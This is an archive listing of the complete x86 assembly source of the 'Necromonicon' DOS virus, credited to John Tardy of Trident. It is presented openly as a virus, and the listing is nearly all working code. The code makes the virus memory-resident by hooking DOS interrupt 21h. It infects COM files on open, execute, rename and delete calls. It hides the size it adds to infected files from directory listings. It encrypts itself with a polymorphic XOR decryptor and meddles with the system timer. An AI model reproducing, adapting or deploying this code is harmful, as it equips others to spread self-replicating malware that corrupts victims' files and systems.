home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / N.ZIP / NECROM.ZIP / NECROMIN.A86 next >
Text File  |  1995-05-23  |  11KB  |  418 lines

  1. ;
  2. ; Necromonicon Virus by John Tardy
  3. ;
  4.  
  5.                 Org 0h
  6.  
  7. decr:           jmp Crypt
  8.                 db 'Carcass'
  9. Loopje          DB 0e2h
  10.                 db 0fah
  11. DecrLen         Equ $-Decr
  12.  
  13. Crypt:          Push Ax
  14.                 call Get_Ofs
  15. Get_Ofs:        pop Bp
  16.                 sub Bp,Get_Ofs
  17.                 Mov Ax,0DEADh
  18.                 Int 21h
  19.                 Cmp Ax,0AAAAh
  20.                 Je  Installed
  21.  
  22.                 mov ax,3521h
  23.                 int 21h
  24.                 mov word ptr cs:old21[bp],bx
  25.                 mov word ptr cs:old21[bp][2],es
  26.  
  27.                 mov ax,cs
  28.                 dec ax
  29.                 mov ds,ax
  30.                 cmp byte ptr ds:[0000],'Z'
  31.                 jne installed
  32.                 mov ax,word ptr ds:[0003]
  33.                 sub ax,ParLen
  34.                 jb  installed
  35.                 mov word ptr ds:[0003],ax
  36.                 sub word ptr ds:[0012h],ParLen
  37.                 lea si,decr[bp]
  38.                 mov di,0
  39.                 mov es,ds:[12h]
  40.                 mov ds,cs
  41.                 mov cx,virlen
  42.                 cld
  43.                 rep movsb
  44.                 mov ax,2521h
  45.                 mov ds,es
  46.                 mov dx,offset new21
  47.                 int 21h
  48.                 push es
  49.                 Mov     Ax,351ch
  50.                 Int     21h
  51.                 Mov     Word Ptr OldInt1c[0],Bx
  52.                 Mov     Word Ptr OldInt1c[2],Es
  53.                 Mov     Ax,251ch
  54.                 Lea     Dx,NewInt1c
  55.                 Pop     Ds
  56.                 Int     21h
  57.  
  58. Installed:      Mov Di,100h
  59.                 Lea Si,Org_Prg[Bp]
  60.                 Push Cs
  61.                 Push Cs
  62.                 Pop Ds
  63.                 Pop Es
  64.                 Cld
  65.                 Movsw
  66.                 Movsb
  67.                 Mov Bx,100h
  68.                 Pop Ax
  69.                 Push Bx
  70.                 Ret
  71.  
  72. OldInt1c        DD      0
  73.  
  74. NewInt1c:       Pushf
  75.                 Push    Ds
  76.                 Push    Ax
  77.                 Xor     Ax,Ax
  78.                 Push    Ax
  79.                 Pop     Ds
  80.                 Mov     Ax,Word Ptr Ds:[46ch]
  81.                 Dec     Word Ptr Ds:[46ch]
  82.                 Dec     Word Ptr Ds:[46ch]
  83.                 Cmp     Ax,Word Ptr Ds:[46ch]
  84.                 Ja      EOI1C
  85.                 Dec     Word Ptr Ds:[46eh]
  86. EOI1C:          Pop     Ax
  87.                 Pop     Ds
  88.                 Popf
  89.                 Iret
  90.  
  91. Old21           dd 0
  92.  
  93. New21:          cmp ax,0deadh
  94.                 jne chkfunc
  95.                 mov ax,0aaaah
  96.                 mov cx,ax
  97.                 iret
  98. chkfunc:        cmp ah,11h
  99.                 je  findFCBst
  100.                 cmp ah,12h
  101.                 je findfcbst
  102.                 cmp ah,4eh
  103.                 je findst
  104.                 cmp ah,4fh
  105.                 je findst
  106.                 push ax
  107.                 push bx
  108.                 push cx
  109.                 push dx
  110.                 push si
  111.                 push di
  112.                 push bp
  113.                 push ds
  114.                 push es
  115.                 cmp ah,3dh
  116.                 je  infectHan
  117.                 cmp ax,4b00h
  118.                 je  infectHan
  119.                 cmp ah,41h
  120.                 je  infectHan
  121.                 cmp ah,43h
  122.                 je  infectHan
  123.                 cmp ah,56h
  124.                 je  infectHan
  125.                 cmp ah,0fh
  126.                 je  infectFCB
  127.                 cmp ah,23h
  128.                 je  infectFCB
  129.                 cmp ah,6ch
  130.                 je  infectdos4
  131.                 jmp endint
  132.  
  133. findfcbst:      jmp findfcb
  134. findst:         jmp find
  135.  
  136. InfectFCB:      mov si,dx
  137.                 inc si
  138.                 push cs
  139.                 pop es
  140.                 lea di,fnam
  141.                 mov cx,8
  142.                 rep movsb
  143.                 mov cx,3
  144.                 inc di
  145.                 rep movsb
  146.                 lea dx,fnam
  147.                 push cs
  148.                 pop ds
  149.  
  150. InfectHan:      mov si,dx
  151.                 mov cx,100h
  152.                 cld
  153. findpnt:        lodsb
  154.                 cmp al,'.'
  155.                 je  chkcom
  156.                 loop findpnt
  157.                 jmp  endi
  158.  
  159. infectdos4:     and dx,0fh
  160.                 cmp dx,1
  161.                 jne endi
  162.                 mov dx,si
  163.                 jmp infecthan
  164.  
  165. chkcom:         lodsw
  166.                 or ax,2020h
  167.                 cmp ax,'oc'
  168.                 jne endi
  169.                 lodsb
  170.                 or al,20h
  171.                 cmp al,'m'
  172.                 jne endi
  173.                 jmp doitj
  174. endi:           jmp endint
  175. doitj:          push dx
  176.                 push ds
  177.                 mov ax,4300h
  178.                 call dos
  179.                 mov cs:fatr,cx
  180.                 mov ax,4301h
  181.                 xor cx,cx
  182.                 call dos
  183.                 mov ax,3d02h
  184.                 call dos
  185.                 jnc getdate
  186.                 jmp error
  187. getdate:        xchg ax,bx
  188.                 mov ax,5700h
  189.                 call dos
  190.                 mov cs:fdat,cx
  191.                 mov cs:fdat[2],dx
  192.                 and cx,1fh
  193.                 cmp cx,1fh
  194.                 jne chkexe
  195.                 jmp done
  196. chkexe:         mov ah,3fh
  197.                 push cs
  198.                 pop ds
  199.                 lea dx,Org_prg
  200.                 mov cx,3
  201.                 call dos
  202.                 cmp word ptr cs:Org_prg[0],'ZM'
  203.                 je  close
  204.                 cmp word ptr cs:Org_prg[0],'MZ'
  205.                 je close
  206.  
  207.                 Mov ax,4202h
  208.                 xor cx,cx
  209.                 xor dx,dx
  210.                 call dos
  211.  
  212.                 sub ax,3
  213.                 mov cs:jump[1],ax
  214.  
  215.                 Add Ax,Offset Crypt+103h
  216.                 Mov S_1[1],Ax
  217.                 Mov S_2[1],Ax
  218.                 Mov S_3[4],Ax
  219.                 Mov S_4[4],Ax
  220.                 Call GenPoly
  221.  
  222.                 mov ah,40h
  223.                 push cs
  224.                 pop ds
  225.                 lea dx,coder
  226.                 mov cx,virlen
  227.                 call dos
  228.  
  229.                 mov ax,4200h
  230.                 xor cx,cx
  231.                 xor dx,dx
  232.                 call dos
  233.  
  234.                 mov ah,40h
  235.                 lea dx,jump
  236.                 mov cx,3
  237.                 call dos
  238.  
  239.                 or  cs:fdat,01fh
  240.  
  241. close:          mov ax,5701h
  242.                 mov cx,cs:fdat
  243.                 mov dx,cs:fdat[2]
  244.                 call dos
  245.  
  246. done:           mov ah,3eh
  247.                 call dos
  248.                 pop ds
  249.                 pop dx
  250.                 push dx
  251.                 push ds
  252.                 mov ax,4301h
  253.                 mov cx,fatr
  254.                 call dos
  255.  
  256. error:          pop ds
  257.                 pop dx
  258.  
  259. endint:         pop es
  260.                 pop ds
  261.                 pop bp
  262.                 pop di
  263.                 pop si
  264.                 pop dx
  265.                 pop cx
  266.                 pop bx
  267.                 pop ax
  268.                 jmp dword ptr cs:[old21]
  269.  
  270. GenPoly:        Xor Byte Ptr [Loopje],2
  271.                 Xor Ax,Ax
  272.                 Mov Es,Ax
  273.                 Mov Ax,Es:[46ch]
  274.                 Mov Es,Cs
  275.                 Push Ax
  276.                 And Ax,07ffh
  277.                 Add Ax,CryptLen
  278.                 Mov S_1[4],Ax
  279.                 Mov S_2[4],Ax
  280.                 Mov S_3[1],Ax
  281.                 Mov S_4[1],Ax
  282. Doit:           Pop Ax
  283.                 Push Ax
  284.                 And Ax,3
  285.                 Shl Ax,1
  286.                 Mov Si,Ax
  287.                 Mov Ax,Word Ptr Table[Si]
  288.                 Mov Si,Ax
  289.                 Lea Di,decr
  290.                 Movsw
  291.                 Movsw
  292.                 Movsw
  293.                 Movsw
  294.                 Pop Ax
  295.                 Stosb
  296.                 Movsb
  297.                 Mov Dl,Al
  298.                 Lea Si,Decr
  299.                 Lea Di,Coder
  300.                 Mov Cx,DecrLen
  301.                 Rep Movsb
  302.                 Lea Si,Crypt
  303.                 Mov Cx,CryptLen
  304. Encrypt:        Lodsb
  305.                 Xor Al,Dl
  306.                 Stosb
  307.                 Loop Encrypt
  308.                 Cmp Dl,0
  309.                 Je  Fuckit
  310.                 Ret
  311.  
  312. FuckIt:         Lea Si,Encr0
  313.                 Lea Di,Coder
  314.                 Mov Cx,Encr0Len
  315.                 Rep Movsb
  316.                 Mov Ax,Cs:jump[1]
  317.                 Add Ax,Encr0Len+2
  318.                 Mov Cs:jump[1],Ax
  319.                 Ret
  320.  
  321. Table           DW Offset S_1
  322.                 DW Offset S_2
  323.                 DW Offset S_3
  324.                 DW Offset S_4
  325.  
  326. S_1:            Lea Si,0
  327.                 Mov Cx,0
  328.                 DB 80h,34h
  329.                 Inc Si
  330. S_2:            Lea Di,0
  331.                 Mov Cx,0
  332.                 DB 80h,35h
  333.                 Inc Di
  334. S_3:            Mov Cx,0
  335.                 Lea Si,0
  336.                 DB 80h,34h
  337.                 Inc Si
  338. S_4:            Mov Cx,0
  339.                 Lea Di,0
  340.                 DB 80h,35h
  341.                 Inc Di
  342.  
  343.                 Db '[ '
  344. Encr0           Db 'John Tardy'
  345. Encr0Len        Equ $-Encr0
  346.  
  347.                 Db ' / Trident'
  348.                 Db ' ]'
  349.  
  350. getdta:         pop si
  351.                 pushf
  352.                 push ax
  353.                 push bx
  354.                 push es
  355.                 mov  ah,2fh
  356.                 call dos
  357.                 jmp short si
  358.  
  359. FindFCB:        call DOS
  360.                 cmp al,0
  361.                 jne Ret1
  362.                 call getdta
  363.                 cmp byte ptr es:[bx],-1
  364.                 jne FCBOk
  365.                 add bx,8
  366. FCBOk:          mov al,es:[bx+16h]
  367.                 and al,1fh
  368.                 cmp al,1fh
  369.                 jne FileOk
  370.                 sub word ptr es:[bx+1ch],Virlen
  371.                 sbb word ptr es:[bx+1eh],0
  372.                 jmp short Time
  373.  
  374. Find:           call DOS
  375.                 jc Ret1
  376.                 call getdta
  377.                 mov al,es:[bx+16h]
  378.                 and al,1fh
  379.                 cmp al,1fh
  380.                 jne FileOk
  381.                 sub word ptr es:[bx+1ah],VirLen
  382.                 sbb word ptr es:[bx+1ch],0
  383. Time:           xor byte ptr es:[bx+16h],10h
  384. FileOk:         pop es
  385.                 pop bx
  386.                 pop ax
  387.                 popf
  388. Ret1:           retf 2
  389.  
  390.                 Db '| Trapped in a spell of the Necromonicon |'
  391.  
  392. dos:            pushf
  393.                 call dword ptr cs:[old21]
  394.                 ret
  395.  
  396. Org_prg         dw 0cd90h
  397.                 db 20h
  398.  
  399. fnam            db 8 dup (0)
  400.                 db '.'
  401.                 db 3 dup (0)
  402.                 db 0
  403. fatr            dw 0
  404. fdat            dw 0,0
  405.  
  406.  
  407. jump            db 0e9h,0,0
  408.  
  409. ResLen          Equ ($-Decr)/10h
  410.  
  411. ParLen          Equ (Reslen*2)+10h
  412.  
  413. CryptLen        Equ $-Crypt
  414.  
  415. VirLen          Equ $-Decr
  416.  
  417. Coder           Equ $
  418.